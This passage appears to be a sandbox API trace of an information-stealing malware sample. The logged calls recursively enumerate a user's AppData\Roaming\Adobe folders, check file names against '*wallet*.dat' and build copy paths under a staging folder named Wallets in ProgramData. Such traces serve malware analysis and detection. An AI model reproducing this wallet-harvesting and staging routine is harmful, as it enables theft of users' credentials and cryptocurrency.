returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0052.087] lstrcmpW (lpString1="Logs", lpString2="..") returned 1 [0052.087] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*.*" [0052.087] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a180 [0052.087] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\." [0052.087] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\." [0052.087] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.087] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.087] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\.." [0052.087] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs\\.." [0052.087] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.087] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.087] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.087] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.087] PathMatchSpecW (pszFile="Logs", pszSpec="*wallet*.dat") returned 0 [0052.087] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.087] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0052.087] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" [0052.087] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" [0052.088] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\" [0052.088] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\LogTransport2.cfg" [0052.088] PathMatchSpecW (pszFile="LogTransport2.cfg", pszSpec="*wallet*.dat") returned 0 [0052.088] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.088] FindClose (in: hFindFile=0x58a3c0 | out: hFindFile=0x58a3c0) returned 1 [0052.088] PathMatchSpecW (pszFile="LogTransport2", pszSpec="*wallet*.dat") returned 0 [0052.088] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.088] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0052.088] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.088] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.088] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" [0052.088] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1 [0052.088] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1 [0052.088] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0052.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*.*" [0052.088] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a300 [0052.089] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0052.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\" [0052.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\." [0052.089] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" [0052.089] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\" [0052.089] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\." [0052.089] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.089] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.089] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0052.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\" [0052.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\.." [0052.089] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" [0052.089] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\" [0052.089] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\.." [0052.089] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.089] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.089] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.089] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar" [0052.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1 [0052.090] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1 [0052.090] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*.*" [0052.090] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a180 [0052.090] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\." [0052.090] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\." [0052.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.090] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.090] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\.." [0052.090] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\.." [0052.090] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.090] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.090] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.090] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\" [0052.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="sonar_policy.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0052.090] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0" [0052.090] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Sonar\\Sonar1.0\\") 